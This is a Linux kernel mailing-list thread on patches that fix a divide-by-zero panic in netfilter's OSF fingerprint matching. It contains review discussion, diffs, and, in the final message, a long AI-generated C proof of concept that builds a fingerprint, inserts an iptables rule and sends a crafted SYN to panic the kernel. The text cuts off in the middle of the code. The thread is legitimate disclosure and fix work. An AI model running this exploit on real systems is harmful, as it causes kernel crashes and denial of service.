All of lore.kernel.org
 help / color / mirror / Atom feed
* [PATCH nf] netfilter: nfnetlink_osf: fix divide-by-zero in OSF_WSS_MODULO
@ 2026-04-10 20:48 Xiang Mei
  2026-04-11  7:56 ` Fernando Fernandez Mancera
  2026-04-11 20:41 ` Florian Westphal
  0 siblings, 2 replies; 8+ messages in thread
From: Xiang Mei @ 2026-04-10 20:48 UTC (permalink / raw)
  To: netfilter-devel
  Cc: Pablo Neira Ayuso, Florian Westphal, Phil Sutter, coreteam,
	Weiming Shi, Xiang Mei

The OSF_WSS_MODULO branch in nf_osf_match_one() performs:

  ctx->window % f->wss.val

without guarding against f->wss.val == 0.  A user with CAP_NET_ADMIN
can add an OSF fingerprint with wss.wc = OSF_WSS_MODULO and wss.val = 0
via nfnetlink.  When a matching TCP SYN packet arrives, the kernel
executes a division by zero and panics.

The OSF_WSS_PLAIN case already treats val == 0 as a wildcard (match
everything).  Apply the same semantics to OSF_WSS_MODULO: if val is 0,
any window value matches rather than dividing by zero.

Crash:
 Oops: divide error: 0000 [#1] SMP KASAN NOPTI
 RIP: 0010:nf_osf_match_one (net/netfilter/nfnetlink_osf.c:98)
 Call Trace:
 <IRQ>
  nf_osf_match (net/netfilter/nfnetlink_osf.c:220 (discriminator 6))
  xt_osf_match_packet (net/netfilter/xt_osf.c:32)
  ipt_do_table (net/ipv4/netfilter/ip_tables.c:348)
  nf_hook_slow (net/netfilter/core.c:622 (discriminator 1))
  ip_local_deliver (net/ipv4/ip_input.c:265)
  ip_rcv (include/linux/skbuff.h:1162)
  __netif_receive_skb_one_core (net/core/dev.c:6181)
  process_backlog (.include/linux/skbuff.h:2502 net/core/dev.c:6642)
  __napi_poll (net/core/dev.c:7710)
  net_rx_action (net/core/dev.c:7945)
  handle_softirqs (kernel/softirq.c:622)

Fixes: 31a9c29210e2 ("netfilter: nf_osf: add struct nf_osf_hdr_ctx")
Reported-by: Weiming Shi <bestswngs@gmail.com>
Signed-off-by: Xiang Mei <xmei5@asu.edu>
---
 net/netfilter/nfnetlink_osf.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/net/netfilter/nfnetlink_osf.c b/net/netfilter/nfnetlink_osf.c
index 45d9ad231..193436aa9 100644
--- a/net/netfilter/nfnetlink_osf.c
+++ b/net/netfilter/nfnetlink_osf.c
@@ -150,7 +150,7 @@ static bool nf_osf_match_one(const struct sk_buff *skb,
 				fmatch = FMATCH_OK;
 			break;
 		case OSF_WSS_MODULO:
-			if ((ctx->window % f->wss.val) == 0)
+			if (f->wss.val == 0 || (ctx->window % f->wss.val) == 0)
 				fmatch = FMATCH_OK;
 			break;
 		}
-- 
2.43.0


^ permalink raw reply related	[flat|nested] 8+ messages in thread

* Re: [PATCH nf] netfilter: nfnetlink_osf: fix divide-by-zero in OSF_WSS_MODULO
  2026-04-10 20:48 [PATCH nf] netfilter: nfnetlink_osf: fix divide-by-zero in OSF_WSS_MODULO Xiang Mei
@ 2026-04-11  7:56 ` Fernando Fernandez Mancera
  2026-04-11 20:41 ` Florian Westphal
  1 sibling, 0 replies; 8+ messages in thread
From: Fernando Fernandez Mancera @ 2026-04-11  7:56 UTC (permalink / raw)
  To: Xiang Mei, netfilter-devel
  Cc: Pablo Neira Ayuso, Florian Westphal, Phil Sutter, coreteam,
	Weiming Shi

On 4/10/26 10:48 PM, Xiang Mei wrote:
> The OSF_WSS_MODULO branch in nf_osf_match_one() performs:
> 
>    ctx->window % f->wss.val
> 
> without guarding against f->wss.val == 0.  A user with CAP_NET_ADMIN
> can add an OSF fingerprint with wss.wc = OSF_WSS_MODULO and wss.val = 0
> via nfnetlink.  When a matching TCP SYN packet arrives, the kernel
> executes a division by zero and panics.
> 
> The OSF_WSS_PLAIN case already treats val == 0 as a wildcard (match
> everything).  Apply the same semantics to OSF_WSS_MODULO: if val is 0,
> any window value matches rather than dividing by zero.
> 
> Crash:
>   Oops: divide error: 0000 [#1] SMP KASAN NOPTI
>   RIP: 0010:nf_osf_match_one (net/netfilter/nfnetlink_osf.c:98)
>   Call Trace:
>   <IRQ>
>    nf_osf_match (net/netfilter/nfnetlink_osf.c:220 (discriminator 6))
>    xt_osf_match_packet (net/netfilter/xt_osf.c:32)
>    ipt_do_table (net/ipv4/netfilter/ip_tables.c:348)
>    nf_hook_slow (net/netfilter/core.c:622 (discriminator 1))
>    ip_local_deliver (net/ipv4/ip_input.c:265)
>    ip_rcv (include/linux/skbuff.h:1162)
>    __netif_receive_skb_one_core (net/core/dev.c:6181)
>    process_backlog (.include/linux/skbuff.h:2502 net/core/dev.c:6642)
>    __napi_poll (net/core/dev.c:7710)
>    net_rx_action (net/core/dev.c:7945)
>    handle_softirqs (kernel/softirq.c:622)
> 
> Fixes: 31a9c29210e2 ("netfilter: nf_osf: add struct nf_osf_hdr_ctx")
> Reported-by: Weiming Shi <bestswngs@gmail.com>
> Signed-off-by: Xiang Mei <xmei5@asu.edu>

LGTM, but I don't see this happening at all to be honest. Such 
fingerprint would be bogus anyway.

The fixes tag is not correct I think. This was introduced on 
11eeef41d5f6 ("netfilter: passive OS fingerprint xtables match") actually.

Reviewed-by: Fernando Fernandez Mancera <fmancera@suse.de>

^ permalink raw reply	[flat|nested] 8+ messages in thread

* Re: [PATCH nf] netfilter: nfnetlink_osf: fix divide-by-zero in OSF_WSS_MODULO
  2026-04-10 20:48 [PATCH nf] netfilter: nfnetlink_osf: fix divide-by-zero in OSF_WSS_MODULO Xiang Mei
  2026-04-11  7:56 ` Fernando Fernandez Mancera
@ 2026-04-11 20:41 ` Florian Westphal
  2026-04-14 11:01   ` Pablo Neira Ayuso
  1 sibling, 1 reply; 8+ messages in thread
From: Florian Westphal @ 2026-04-11 20:41 UTC (permalink / raw)
  To: Xiang Mei
  Cc: netfilter-devel, Pablo Neira Ayuso, Phil Sutter, coreteam,
	Weiming Shi

Xiang Mei <xmei5@asu.edu> wrote:
> The OSF_WSS_MODULO branch in nf_osf_match_one() performs:
> 
>   ctx->window % f->wss.val
> 
> without guarding against f->wss.val == 0.  A user with CAP_NET_ADMIN
> can add an OSF fingerprint with wss.wc = OSF_WSS_MODULO and wss.val = 0
> via nfnetlink.  When a matching TCP SYN packet arrives, the kernel
> executes a division by zero and panics.
> 
> The OSF_WSS_PLAIN case already treats val == 0 as a wildcard (match
> everything).  Apply the same semantics to OSF_WSS_MODULO: if val is 0,
> any window value matches rather than dividing by zero.
> 
> Crash:
>  Oops: divide error: 0000 [#1] SMP KASAN NOPTI
>  RIP: 0010:nf_osf_match_one (net/netfilter/nfnetlink_osf.c:98)
>  Call Trace:
>  <IRQ>
>   nf_osf_match (net/netfilter/nfnetlink_osf.c:220 (discriminator 6))
>   xt_osf_match_packet (net/netfilter/xt_osf.c:32)
>   ipt_do_table (net/ipv4/netfilter/ip_tables.c:348)
>   nf_hook_slow (net/netfilter/core.c:622 (discriminator 1))
>   ip_local_deliver (net/ipv4/ip_input.c:265)
>   ip_rcv (include/linux/skbuff.h:1162)
>   __netif_receive_skb_one_core (net/core/dev.c:6181)
>   process_backlog (.include/linux/skbuff.h:2502 net/core/dev.c:6642)
>   __napi_poll (net/core/dev.c:7710)
>   net_rx_action (net/core/dev.c:7945)
>   handle_softirqs (kernel/softirq.c:622)
> 
> Fixes: 31a9c29210e2 ("netfilter: nf_osf: add struct nf_osf_hdr_ctx")

Hmm, why?  AFAICS the bug was there from start:

11eeef41d5f63 case OSF_WSS_MODULO:
11eeef41d5f63    if ((window % f->wss.val) == 0)
11eeef41d5f63        fmatch = FMATCH_OK;

So:
Fixes: 11eeef41d5f6 ("netfilter: passive OS fingerprint xtables match")

> diff --git a/net/netfilter/nfnetlink_osf.c b/net/netfilter/nfnetlink_osf.c
> index 45d9ad231..193436aa9 100644
> --- a/net/netfilter/nfnetlink_osf.c
> +++ b/net/netfilter/nfnetlink_osf.c
> @@ -150,7 +150,7 @@ static bool nf_osf_match_one(const struct sk_buff *skb,
>  				fmatch = FMATCH_OK;
>  			break;
>  		case OSF_WSS_MODULO:
> -			if ((ctx->window % f->wss.val) == 0)
> +			if (f->wss.val == 0 || (ctx->window % f->wss.val) == 0)

Could you send a v2 that rejects this from control plane instead?
Nobody is using a 0 value, else we'd have gotted such crash reports by
now.

^ permalink raw reply	[flat|nested] 8+ messages in thread

* Re: [PATCH nf] netfilter: nfnetlink_osf: fix divide-by-zero in OSF_WSS_MODULO
  2026-04-11 20:41 ` Florian Westphal
@ 2026-04-14 11:01   ` Pablo Neira Ayuso
  2026-04-14 11:11     ` Florian Westphal
  0 siblings, 1 reply; 8+ messages in thread
From: Pablo Neira Ayuso @ 2026-04-14 11:01 UTC (permalink / raw)
  To: Florian Westphal
  Cc: Xiang Mei, netfilter-devel, Phil Sutter, coreteam, Weiming Shi

On Sat, Apr 11, 2026 at 10:41:32PM +0200, Florian Westphal wrote:
> Xiang Mei <xmei5@asu.edu> wrote:
> > The OSF_WSS_MODULO branch in nf_osf_match_one() performs:
> > 
> >   ctx->window % f->wss.val
> > 
> > without guarding against f->wss.val == 0.  A user with CAP_NET_ADMIN
> > can add an OSF fingerprint with wss.wc = OSF_WSS_MODULO and wss.val = 0
> > via nfnetlink.  When a matching TCP SYN packet arrives, the kernel
> > executes a division by zero and panics.
> > 
> > The OSF_WSS_PLAIN case already treats val == 0 as a wildcard (match
> > everything).  Apply the same semantics to OSF_WSS_MODULO: if val is 0,
> > any window value matches rather than dividing by zero.
> > 
> > Crash:
> >  Oops: divide error: 0000 [#1] SMP KASAN NOPTI
> >  RIP: 0010:nf_osf_match_one (net/netfilter/nfnetlink_osf.c:98)
> >  Call Trace:
> >  <IRQ>
> >   nf_osf_match (net/netfilter/nfnetlink_osf.c:220 (discriminator 6))
> >   xt_osf_match_packet (net/netfilter/xt_osf.c:32)
> >   ipt_do_table (net/ipv4/netfilter/ip_tables.c:348)
> >   nf_hook_slow (net/netfilter/core.c:622 (discriminator 1))
> >   ip_local_deliver (net/ipv4/ip_input.c:265)
> >   ip_rcv (include/linux/skbuff.h:1162)
> >   __netif_receive_skb_one_core (net/core/dev.c:6181)
> >   process_backlog (.include/linux/skbuff.h:2502 net/core/dev.c:6642)
> >   __napi_poll (net/core/dev.c:7710)
> >   net_rx_action (net/core/dev.c:7945)
> >   handle_softirqs (kernel/softirq.c:622)
> > 
> > Fixes: 31a9c29210e2 ("netfilter: nf_osf: add struct nf_osf_hdr_ctx")
> 
> Hmm, why?  AFAICS the bug was there from start:
> 
> 11eeef41d5f63 case OSF_WSS_MODULO:
> 11eeef41d5f63    if ((window % f->wss.val) == 0)
> 11eeef41d5f63        fmatch = FMATCH_OK;
> 
> So:
> Fixes: 11eeef41d5f6 ("netfilter: passive OS fingerprint xtables match")
> 
> > diff --git a/net/netfilter/nfnetlink_osf.c b/net/netfilter/nfnetlink_osf.c
> > index 45d9ad231..193436aa9 100644
> > --- a/net/netfilter/nfnetlink_osf.c
> > +++ b/net/netfilter/nfnetlink_osf.c
> > @@ -150,7 +150,7 @@ static bool nf_osf_match_one(const struct sk_buff *skb,
> >  				fmatch = FMATCH_OK;
> >  			break;
> >  		case OSF_WSS_MODULO:
> > -			if ((ctx->window % f->wss.val) == 0)
> > +			if (f->wss.val == 0 || (ctx->window % f->wss.val) == 0)
> 
> Could you send a v2 that rejects this from control plane instead?
> Nobody is using a 0 value, else we'd have gotted such crash reports by
> now.

No news from this, I think this should be fine:

@@ -329,6 +332,15 @@ static int nfnl_osf_add_callback(struct sk_buff *skb,
                if (f->opt[i].kind == OSFOPT_MSS && f->opt[i].length < 4)
                        return -EINVAL;
 
+               switch (f->wss.wc) {
+               case OSF_WSS_MODULO:
+                       if (f->wss.val == 0)
+                               return -EINVAL;
+                       break;
+               default:
+                       break;
+               }
+
                tot_opt_len += f->opt[i].length;
                if (tot_opt_len > MAX_IPOPTLEN)
                        return -EINVAL;

If no concerns, I will post a patch.

^ permalink raw reply	[flat|nested] 8+ messages in thread

* Re: [PATCH nf] netfilter: nfnetlink_osf: fix divide-by-zero in OSF_WSS_MODULO
  2026-04-14 11:01   ` Pablo Neira Ayuso
@ 2026-04-14 11:11     ` Florian Westphal
  2026-04-14 22:00       ` Xiang Mei
  0 siblings, 1 reply; 8+ messages in thread
From: Florian Westphal @ 2026-04-14 11:11 UTC (permalink / raw)
  To: Pablo Neira Ayuso
  Cc: Xiang Mei, netfilter-devel, Phil Sutter, coreteam, Weiming Shi

Pablo Neira Ayuso <pablo@netfilter.org> wrote:
> @@ -329,6 +332,15 @@ static int nfnl_osf_add_callback(struct sk_buff *skb,
>                 if (f->opt[i].kind == OSFOPT_MSS && f->opt[i].length < 4)
>                         return -EINVAL;
>  
> +               switch (f->wss.wc) {
> +               case OSF_WSS_MODULO:
> +                       if (f->wss.val == 0)
> +                               return -EINVAL;
> +                       break;
> +               default:
> +                       break;
> +               }
> +
>                 tot_opt_len += f->opt[i].length;
>                 if (tot_opt_len > MAX_IPOPTLEN)
>                         return -EINVAL;
> 
> If no concerns, I will post a patch.

Thanks Pablo, LGTM.

^ permalink raw reply	[flat|nested] 8+ messages in thread

* [PATCH nf] netfilter: nfnetlink_osf: fix divide-by-zero in OSF_WSS_MODULO
@ 2026-04-14 11:17 Pablo Neira Ayuso
  2026-04-14 21:58 ` Xiang Mei
  0 siblings, 1 reply; 8+ messages in thread
From: Pablo Neira Ayuso @ 2026-04-14 11:17 UTC (permalink / raw)
  To: netfilter-devel; +Cc: xmei5, fw

Xiang Mei says:

The OSF_WSS_MODULO branch in nf_osf_match_one() performs:

  ctx->window % f->wss.val

without guarding against f->wss.val == 0.  A user with CAP_NET_ADMIN
can add an OSF fingerprint with wss.wc = OSF_WSS_MODULO and wss.val = 0
via nfnetlink.  When a matching TCP SYN packet arrives, the kernel
executes a division by zero and panics.

The OSF_WSS_PLAIN case already treats val == 0 as a wildcard (match
everything).  Apply the same semantics to OSF_WSS_MODULO: if val is 0,
any window value matches rather than dividing by zero.

Crash:
 Oops: divide error: 0000 [#1] SMP KASAN NOPTI
 RIP: 0010:nf_osf_match_one (net/netfilter/nfnetlink_osf.c:98)
 Call Trace:
 <IRQ>
  nf_osf_match (net/netfilter/nfnetlink_osf.c:220 (discriminator 6))
  xt_osf_match_packet (net/netfilter/xt_osf.c:32)
  ipt_do_table (net/ipv4/netfilter/ip_tables.c:348)
  nf_hook_slow (net/netfilter/core.c:622 (discriminator 1))
  ip_local_deliver (net/ipv4/ip_input.c:265)
  ip_rcv (include/linux/skbuff.h:1162)
  __netif_receive_skb_one_core (net/core/dev.c:6181)
  process_backlog (.include/linux/skbuff.h:2502 net/core/dev.c:6642)
  __napi_poll (net/core/dev.c:7710)
  net_rx_action (net/core/dev.c:7945)
  handle_softirqs (kernel/softirq.c:622

Fix this from control plane, reject f->wss.val == 0 if wss.ws is
OSF_WSS_MODULO.

Fixes: 11eeef41d5f6 ("netfilter: passive OS fingerprint xtables match")
Reported-by: Xiang Mei <xmei5@asu.edu>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
---
Apologies, I don't mean to step on your feet with this patch.
This just expedites scrutiny before PR submission.

 net/netfilter/nfnetlink_osf.c | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/net/netfilter/nfnetlink_osf.c b/net/netfilter/nfnetlink_osf.c
index 5d15651c74f0..bf47a3812910 100644
--- a/net/netfilter/nfnetlink_osf.c
+++ b/net/netfilter/nfnetlink_osf.c
@@ -329,6 +329,15 @@ static int nfnl_osf_add_callback(struct sk_buff *skb,
 		if (f->opt[i].kind == OSFOPT_MSS && f->opt[i].length < 4)
 			return -EINVAL;
 
+		switch (f->wss.wc) {
+		case OSF_WSS_MODULO:
+			if (f->wss.val == 0)
+				return -EINVAL;
+			break;
+		default:
+			break;
+		}
+
 		tot_opt_len += f->opt[i].length;
 		if (tot_opt_len > MAX_IPOPTLEN)
 			return -EINVAL;
-- 
2.47.3


^ permalink raw reply related	[flat|nested] 8+ messages in thread

* Re: [PATCH nf] netfilter: nfnetlink_osf: fix divide-by-zero in OSF_WSS_MODULO
  2026-04-14 11:17 Pablo Neira Ayuso
@ 2026-04-14 21:58 ` Xiang Mei
  0 siblings, 0 replies; 8+ messages in thread
From: Xiang Mei @ 2026-04-14 21:58 UTC (permalink / raw)
  To: Pablo Neira Ayuso; +Cc: netfilter-devel, fw

Hi Pablo,

Sorry for the delay. I didn't get time to check the v1 discussion last
week. Thanks for the tip that we should patch the bug at the
configuration path.

For the v2 patch. I have found that if we have `f->opt_num=0`, we can
bypass this check, and I used Claude to generate a PoC and verified
it:

```c
/*
 * AI-GENERATED PoC — This code was produced by an AI assistant.
 * It has NOT been reviewed or verified by a human.
 * Bug: Divide-by-zero in nf_osf_match_one when WSS mode is MODULO and
wss.val is zero
 * Type: Divide-by-zero / Kernel panic
 * File: net/netfilter/nfnetlink_osf.c
 *
 * Steps:
 * 1. Add malicious OSF fingerprint with wss.wc=OSF_WSS_MODULO(3),
wss.val=0 via nfnetlink
 *    (requires root/CAP_NET_ADMIN in init namespace via capable() check)
 * 2. Add iptables rule with "osf" match via raw setsockopt (no
iptables binary needed)
 * 3. Send TCP SYN matching the fingerprint
 * 4. Kernel computes ctx->window % 0 → divide-by-zero Oops
 *
 * REQUIREMENTS:
 * - Root privilege (capable(CAP_NET_ADMIN)) to add OSF fingerprint
 * - CONFIG_IP_NF_FILTER=y (iptables filter table must be compiled in)
 * - CONFIG_NETFILTER_XT_MATCH_OSF=y (osf match compiled in)
 * - CONFIG_NETFILTER_NETLINK_OSF=y (OSF fingerprint database compiled in)
 *
 * Compile: gcc -static -o exploit poc.c -w
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <stdint.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <linux/netlink.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/netfilter_ipv4/ip_tables.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netfilter/x_tables.h>
#include <linux/types.h>

/* OSF constants */
#define MAXGENRELEN     32
#define MAX_IPOPTLEN    40
#define OSF_WSS_MODULO  3
#define OSF_ATTR_FINGER 1
#define OSF_MSG_ADD     0
#define NFNL_SUBSYS_OSF 5
#define NFNETLINK_V0    0

struct nf_osf_wc {
    __u32   wc;
    __u32   val;
};

struct nf_osf_opt {
    __u16           kind, length;
    struct nf_osf_wc    wc;
};

struct nf_osf_user_finger {
    struct nf_osf_wc    wss;
    __u8    ttl, df;
    __u16   ss, mss;
    __u16   opt_num;
    char    genre[MAXGENRELEN];
    char    version[MAXGENRELEN];
    char    subtype[MAXGENRELEN];
    struct nf_osf_opt   opt[MAX_IPOPTLEN];
};

/* osf match info (same layout as nf_osf_info from uapi header) */
struct osf_match_info {
    char    genre[MAXGENRELEN];
    __u32   len;
    __u32   flags;    /* NF_OSF_GENRE = 1 */
    __u32   loglevel;
    __u32   ttl;
};
#define NF_OSF_GENRE (1 << 0)

/* ---- OSF fingerprint addition via nfnetlink ---- */

static int add_osf_fingerprint(void)
{
    struct {
        struct nlmsghdr  nlh;
        struct nfgenmsg  nfg;
        struct nlattr    nla;
        struct nf_osf_user_finger finger;
    } msg;
    struct sockaddr_nl addr;
    int sock, ret;
    char buf[4096];

    memset(&msg, 0, sizeof(msg));

    /* Fingerprint: wss.wc=MODULO, wss.val=0 → triggers divide-by-zero */
    msg.finger.wss.wc  = OSF_WSS_MODULO;
    msg.finger.wss.val = 0;               /* BUG: ctx->window % 0 → SIGFPE */
    msg.finger.ss      = 40;             /* IP total length: 20 IP + 20 TCP */
    msg.finger.ttl     = 64;            /* TTL must match */
    msg.finger.df      = 0;             /* DF=0 → goes into nf_osf_fingers[0] */
    msg.finger.opt_num = 0;             /* no TCP options */
    strncpy(msg.finger.genre,   "TestOS", MAXGENRELEN - 1);
    strncpy(msg.finger.version, "1.0",    MAXGENRELEN - 1);
    strncpy(msg.finger.subtype, "test",   MAXGENRELEN - 1);

    msg.nla.nla_type = OSF_ATTR_FINGER;
    msg.nla.nla_len  = sizeof(struct nlattr) + sizeof(struct
nf_osf_user_finger);
    msg.nfg.nfgen_family = AF_INET;
    msg.nfg.version      = NFNETLINK_V0;
    msg.nlh.nlmsg_type  = (NFNL_SUBSYS_OSF << 8) | OSF_MSG_ADD;
    msg.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE;
    msg.nlh.nlmsg_len   = sizeof(msg);
    msg.nlh.nlmsg_seq   = 1;
    msg.nlh.nlmsg_pid   = getpid();

    sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER);
    if (sock < 0) { perror("socket(NETLINK_NETFILTER)"); return -1; }

    memset(&addr, 0, sizeof(addr));
    addr.nl_family = AF_NETLINK;
    if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
        perror("bind"); close(sock); return -1;
    }

    struct sockaddr_nl kernel = {.nl_family = AF_NETLINK};
    ret = sendto(sock, &msg, sizeof(msg), 0, (struct sockaddr
*)&kernel, sizeof(kernel));
    if (ret < 0) { perror("sendto(fingerprint)"); close(sock); return -1; }

    /* Check for error response */
    ret = recv(sock, buf, sizeof(buf), MSG_DONTWAIT);
    if (ret > 0) {
        struct nlmsghdr *resp = (struct nlmsghdr *)buf;
        if (resp->nlmsg_type == NLMSG_ERROR) {
            struct nlmsgerr *err = (struct nlmsgerr *)(resp + 1);
            if (err->error != 0) {
                fprintf(stderr, "[-] OSF fingerprint add error: %d (%s)\n",
                        -err->error, strerror(-err->error));
                close(sock);
                return -1;
            }
        }
    }

    printf("[+] OSF fingerprint added (wss.wc=MODULO, wss.val=0)\n");
    close(sock);
    return 0;
}

/* ---- iptables rule addition via raw setsockopt ---- */
/*
 * Layout of new entry:
 *   ipt_entry (112 bytes, aligned 112)
 *   xt_entry_match header (32) + osf_match_info data (48) = 80 bytes
(aligned 80)
 *   xt_standard_target (40 bytes, aligned 40)
 * Total: 112 + 80 + 40 = 232 bytes
 */

#define XT_ALIGN8(s) (((s) + 7) & ~7)

static int add_iptables_rule(void)
{
    int sock, ret;
    struct ipt_getinfo info;
    struct ipt_get_entries *old_entries;
    struct ipt_replace *repl;
    size_t match_size, target_size, new_entry_size, new_total_size, old_size;
    unsigned char *new_entries_buf;
    unsigned int input_offset;

    /* Sizes */
    match_size     = XT_ALIGN8(sizeof(struct xt_entry_match) +
sizeof(struct osf_match_info));
    target_size    = XT_ALIGN8(sizeof(struct xt_standard_target));
    new_entry_size = XT_ALIGN8(sizeof(struct ipt_entry)) + match_size
+ target_size;

    sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (sock < 0) { perror("socket(AF_INET, SOCK_RAW)"); return -1; }

    /* Get current filter table info */
    {
        socklen_t sz = sizeof(info);
        memset(&info, 0, sizeof(info));
        strncpy(info.name, "filter", sizeof(info.name) - 1);
        if (getsockopt(sock, IPPROTO_IP, IPT_SO_GET_INFO, &info, &sz) < 0) {
            perror("getsockopt(IPT_SO_GET_INFO)");
            close(sock); return -1;
        }
    }
    old_size = info.size;

    /* Get current filter table entries */
    {
        size_t total = sizeof(struct ipt_get_entries) + old_size;
        socklen_t sz;
        old_entries = calloc(1, total);
        if (!old_entries) { perror("calloc(old_entries)");
close(sock); return -1; }
        strncpy(old_entries->name, "filter", sizeof(old_entries->name) - 1);
        old_entries->size = old_size;
        sz = (socklen_t)total;
        if (getsockopt(sock, IPPROTO_IP, IPT_SO_GET_ENTRIES,
old_entries, &sz) < 0) {
            perror("getsockopt(IPT_SO_GET_ENTRIES)");
            free(old_entries); close(sock); return -1;
        }
    }

    new_total_size = old_size + new_entry_size;
    input_offset   = info.hook_entry[NF_INET_LOCAL_IN];

    /* Build new entries: [before INPUT] + [our rule] + [original from
INPUT onward] */
    new_entries_buf = calloc(1, new_total_size);
    if (!new_entries_buf) { perror("calloc"); free(old_entries);
close(sock); return -1; }

    if (input_offset > 0)
        memcpy(new_entries_buf, old_entries->entrytable, input_offset);

    /* Build our iptables entry */
    struct ipt_entry *entry = (struct ipt_entry *)(new_entries_buf +
input_offset);
    entry->ip.proto      = IPPROTO_TCP;  /* match TCP */
    entry->ip.flags      = 0;
    entry->ip.invflags   = 0;
    entry->nfcache       = 0;
    entry->target_offset = XT_ALIGN8(sizeof(struct ipt_entry)) + match_size;
    entry->next_offset   = new_entry_size;

    /* Match: "osf" */
    struct xt_entry_match *mhdr = (struct xt_entry_match *)(entry->elems);
    mhdr->u.user.match_size = (uint16_t)match_size;
    strncpy(mhdr->u.user.name, "osf", XT_EXTENSION_MAXNAMELEN - 1);
    mhdr->u.user.revision = 0;

    struct osf_match_info *mdata = (struct osf_match_info *)(mhdr->data);
    strncpy(mdata->genre, "TestOS", MAXGENRELEN - 1);
    mdata->len      = 0;
    mdata->flags    = NF_OSF_GENRE;
    mdata->loglevel = 2;
    mdata->ttl      = 0;

    /* Target: standard ACCEPT (empty name, verdict = -(NF_ACCEPT+1) = -1) */
    struct xt_standard_target *tgt = (struct xt_standard_target *)
        ((char *)entry + entry->target_offset);
    tgt->target.u.user.target_size = (uint16_t)target_size;
    tgt->target.u.user.name[0] = '\0';  /* XT_STANDARD_TARGET */
    tgt->verdict = -NF_ACCEPT - 1;

    /* Copy original entries from INPUT offset onward */
    memcpy(new_entries_buf + input_offset + new_entry_size,
           (char *)old_entries->entrytable + input_offset,
           old_size - input_offset);

    /* Build ipt_replace */
    size_t repl_total = sizeof(struct ipt_replace) + new_total_size;
    repl = calloc(1, repl_total);
    if (!repl) { perror("calloc(repl)"); free(new_entries_buf);
free(old_entries); close(sock); return -1; }

    strncpy(repl->name, "filter", sizeof(repl->name) - 1);
    repl->valid_hooks  = info.valid_hooks;
    repl->num_entries  = info.num_entries + 1;
    repl->size         = new_total_size;
    repl->num_counters = info.num_entries;
    repl->counters     = calloc(info.num_entries, sizeof(struct xt_counters));
    if (!repl->counters) {
        perror("calloc(counters)");
        free(repl); free(new_entries_buf); free(old_entries); close(sock);
        return -1;
    }

    /* Adjust hook/underflow offsets for all chains */
    for (int i = 0; i < NF_INET_NUMHOOKS; i++) {
        if (!(info.valid_hooks & (1 << i))) continue;
        repl->hook_entry[i] = info.hook_entry[i];
        repl->underflow[i]  = info.underflow[i];
        /* Shift entries that come after our insertion point */
        if (info.hook_entry[i] > input_offset)
            repl->hook_entry[i] += new_entry_size;
        if (info.underflow[i] >= input_offset)
            repl->underflow[i] += new_entry_size;
    }
    /* INPUT chain: new rule is inserted at input_offset */
    repl->hook_entry[NF_INET_LOCAL_IN] = input_offset;

    memcpy(repl->entries, new_entries_buf, new_total_size);

    ret = setsockopt(sock, IPPROTO_IP, IPT_SO_SET_REPLACE, repl, repl_total);
    if (ret < 0) {
        perror("setsockopt(IPT_SO_SET_REPLACE)");
        free(repl->counters); free(repl); free(new_entries_buf);
free(old_entries);
        close(sock);
        return -1;
    }

    printf("[+] iptables rule added: -m osf --genre TestOS -j ACCEPT\n");
    free(repl->counters); free(repl); free(new_entries_buf); free(old_entries);
    close(sock);
    return 0;
}

/* ---- TCP SYN packet ---- */

static unsigned short ip_checksum(void *ptr, int nbytes) {
    unsigned short *p = ptr;
    unsigned long sum = 0;
    while (nbytes > 1) { sum += *p++; nbytes -= 2; }
    if (nbytes == 1) sum += *(unsigned char *)p;
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    return (unsigned short)(~sum);
}

/*
 * Send TCP SYN matching the fingerprint:
 *   IP total length = 40 (20 IP + 20 TCP, no options)
 *   TTL = 64, DF = 0 (no don't-fragment bit)
 *   TCP SYN, no TCP options (doff=5)
 *   Any window (any % 0 = divide by zero)
 */
static int send_matching_syn(void)
{
    int sock, one = 1;
    struct sockaddr_in dest;
    char packet[40];
    struct iphdr  *ip  = (struct iphdr  *)packet;
    struct tcphdr *tcp = (struct tcphdr *)(packet + 20);

    memset(packet, 0, sizeof(packet));

    ip->ihl      = 5;
    ip->version  = 4;
    ip->tos      = 0;
    ip->tot_len  = htons(40);    /* must match fingerprint ss=40 */
    ip->id       = htons(0x1234);
    ip->frag_off = 0;            /* DF=0 matches fingerprint df=0 */
    ip->ttl      = 64;           /* must match fingerprint ttl=64 */
    ip->protocol = IPPROTO_TCP;
    ip->saddr    = inet_addr("127.0.0.1");
    ip->daddr    = inet_addr("127.0.0.1");
    ip->check    = 0;
    ip->check    = ip_checksum(ip, 20);

    tcp->source  = htons(0xbeef);
    tcp->dest    = htons(9999);
    tcp->seq     = htonl(1);
    tcp->doff    = 5;            /* no options */
    tcp->syn     = 1;
    tcp->window  = htons(65535); /* any window % 0 = crash */
    tcp->check   = 0;

    /* TCP pseudo-header checksum */
    {
        struct { uint32_t s, d; uint8_t z, p; uint16_t l; } ph;
        char buf[sizeof(ph) + 20];
        ph.s = ip->saddr; ph.d = ip->daddr;
        ph.z = 0; ph.p = IPPROTO_TCP; ph.l = htons(20);
        memcpy(buf, &ph, sizeof(ph));
        memcpy(buf + sizeof(ph), tcp, 20);
        tcp->check = ip_checksum(buf, sizeof(buf));
    }

    sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (sock < 0) { perror("socket(SOCK_RAW)"); return -1; }
    if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0) {
        perror("setsockopt(IP_HDRINCL)"); close(sock); return -1;
    }

    memset(&dest, 0, sizeof(dest));
    dest.sin_family      = AF_INET;
    dest.sin_port        = htons(9999);
    dest.sin_addr.s_addr = inet_addr("127.0.0.1");

    if (sendto(sock, packet, sizeof(packet), 0, (struct sockaddr
